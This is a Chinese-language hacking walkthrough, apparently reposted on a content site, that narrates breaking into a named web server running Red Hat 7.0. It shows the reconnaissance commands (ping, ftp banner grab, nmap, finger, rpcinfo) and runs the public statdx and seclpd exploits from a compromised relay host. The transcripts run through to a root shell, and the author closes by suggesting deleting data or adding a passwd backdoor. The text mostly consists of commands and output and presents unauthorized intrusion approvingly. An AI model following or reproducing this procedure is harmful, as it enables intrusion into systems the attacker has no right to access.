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    【入侵RedHat,Linux系统的方法】 娱乐之神豪系统

    时间:2020-02-18来源:山茶花美文网 本文已影响 山茶花美文网手机站

    假设是:www.fbi.gov.tw。^__^ 先让俺看看是不是连得上: C:ping www.fbi.gov.tw

    Pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data: Reply from 202.106.184.200: bytes=32 time=541ms TTL=244

    Reply from 202.106.184.200: bytes=32 time=620ms TTL=244

    Reply from 202.106.184.200: bytes=32 time=651ms TTL=244

    Reply from 202.106.184.200: bytes=32 time=511ms TTL=244 Ping statistics for 202.106.184.200:

    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

    Approximate round trip times in milli-seconds:

    Minimum = 511ms, Maximum = 651ms, Average = 580ms 嘻嘻—不但连得上,速度还不错…… 先telnet看看banner: C:>telnet www.fbi.gov.tw 遗失对主机的连接。 哈哈……看来把telnet服务给shut掉了!再试试ftp

    C:>ftp www.fbi.gov.tw

    Connected to www.fbi.gov.tw.

    220 fbi-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready. User (www.fbi.gov.tw:(none)): 呵~~wu-2.6.1看来有点眉目了。这台机器像是大名鼎鼎的…………对!RedHat7.0!没错就是她了!首先必须确认一下,连上俺的跳板: C:>telnet xxx.xxx.xxx.xxx

    Red Hat Linux release 7.0 (Guinness)

    Kernel 2.2.16-22smp on an i686

    login: fetdog

    Password:

    bash-2.04$ 呵呵~~这是我在台湾的一台跳板。RH7的哦!等下我就会告诉你们拿这些肉鸡办法……拿上nmap扫描器,看看其中的奥妙~~~ bash-2.04$nmap -sT -O www.fbi.gov.tw

    Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )

    WARNING! The following files exist and are readable: /usr/local/sha

    -services and ./nmap-services. I am choosing /usr/local/share/nmap/

    s for security reasons. set NMAPDIR=. to give priority to files in

    irectory

    Interesting ports on (www.fbi.gov.tw):

    (The 1520 ports scanned but not shown below are in state: closed)

    Port State Service

    25/tcp open smtp

    79/tcp open finger

    80/tcp open http

    111/tcp open sunrpc

    113/tcp open auth

    443/tcp open https

    513/tcp open login

    514/tcp open shell

    515/tcp open printer

    587/tcp open submission

    1024/tcp open kdm TCP Sequence Prediction: Class=random positive increments

    Difficulty=3247917 (Good luck!)

    Remote operating system guess: Linux 2.1.122 - 2.2.16 Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds 恰恰!!打开的端口还挺多的嘛!不错……不错……。79/tcp finger?呵呵~先看看这个,不过linux没有finger用户列表这个漏洞,不管它俺先看看有没有倒霉鬼。 bash-2.04$finger @www.fbi.gov.tw

    [www.fbi.gov.tw]

    No one logged on. sh*t!怎么会没人!开门!给我开门!:(……再看看111/tcp sunrpc。嘿嘿……近来rpc漏洞风行,不知道RH7这个东东会不会有?管它呢,先看看再说! bash-2.04$rpcinfo -p www.fbi.gov.tw

    program vers proto port service

    100000 2 tcp 111 rpcbind

    100000 2 udp 111 rpcbind

    100021 1 udp 1024 nlockmgr

    100021 3 udp 1024 nlockmgr

    100024 1 udp 1025 status

    100024 1 tcp 1024 status 看来有rpc.statd服务。等俺来看看能不能远程溢出拿个rootshell。哈哈!这个rpc.statd远程溢出是我在hack.co.za找到的。等俺先来看看帮助。嘻嘻~~ bash-2.04$./statdx -h

    statdx by ron1n

    Usage: stat [-t] [-p port] [-a addr] [-l len]

    [-o offset] [-w num] [-s secs] [-d type]

    -t attack a tcp dispatcher [udp]

    -p rpc.statd serves requests on [query]

    -a the stack address of the buffer is

    -l the length of the buffer is [1024]

    -o the offset to return to is [600]

    -w the number of dwords to wipe is [9]

    -s set timeout in seconds to [5]

    -d use a hardcoded

    Available types:

    0 Redhat 6.2 (nfs-utils-0.1.6-2)

    1 Redhat 6.1 (knfsd-1.4.7-7)

    2 Redhat 6.0 (knfsd-1.2.2-4) 看来并不支持RH7。怎么办??让俺把0-2全部试试看再说!start…… bash-2.04$stat -d 0 www.fbi.gov.tw

    buffer: 0xbffff314 length: 999 ( str/ nul)

    target: 0xbffff718 new: 0xbffff56c (offset: 600)

    wiping 9 dwords

    Failed - statd returned res_stat: (failure) state: 21 哈哈受到挫折,再试…… bash-2.04$stat -d 1 www.fbi.gov.tw

    buffer: 0xbffff314 length: 999 ( str/ nul)

    target: 0xbffff718 new: 0xbffff56c (offset: 600)

    wiping 9 dwords

    Failed - statd returned res_stat: (failure) state: 21 一样!继续…… bash-2.04$stat -d 1 www.fbi.gov.tw

    buffer: 0xbffff314 length: 999 ( str/ nul)

    target: 0xbffff718 new: 0xbffff56c (offset: 600)

    wiping 9 dwords

    Failed - statd returned res_stat: (failure) state: 21 我烤!!烤烤烤!rpc.statd行不通啊!让我想想看……RH7应该有个远程溢出……好像是lp服务造成的。让俺去找找看。哈哈~~找到了……“seclpd.c”应该是这个东东了。

    看来一定要来个brute了!继续……继续…… bash-2.04$./seclpd www.fbi.gov.tw brute -t 0

    Security.is remote exploit for LPRng/lpd by DiGiT Exploit information

    Victim: www.fbi.gov.tw

    Type: 0 - RedHat 7.0 - Guinesss

    Eip address: 0xbffff3ec

    Shellcode address: 0xbffff7f2

    Position: 300

    Alignment: 2

    Offset 0 Attacking www.fbi.gov.tw with our format string

    Brute force man, relax and enjoy the ride ;> 哈哈~~brute暴力破解。看你出不出shell!现在要等上一会儿……去泡杯coffee慢慢来。(什么!没coffee?tea!这个也行!)…………过了大约一杯coffee的时间。也就是5-8分钟左右,就会有结果了。(什么!什么!5-8分钟你喝了5杯!我倒~~~)……出来了。哈哈~~ - [ ] shell located on www.fbi.gov.tw

    - [ ] Enter Commands at will Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown

    uid=0(root) gid=7(lp) Well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦!可以为所欲为了~~把它的东西全部删了~~哈哈……太过火了~~还是在passwd中加个后门算了~~至于怎么加,这就不在本文的范围内了……^___^

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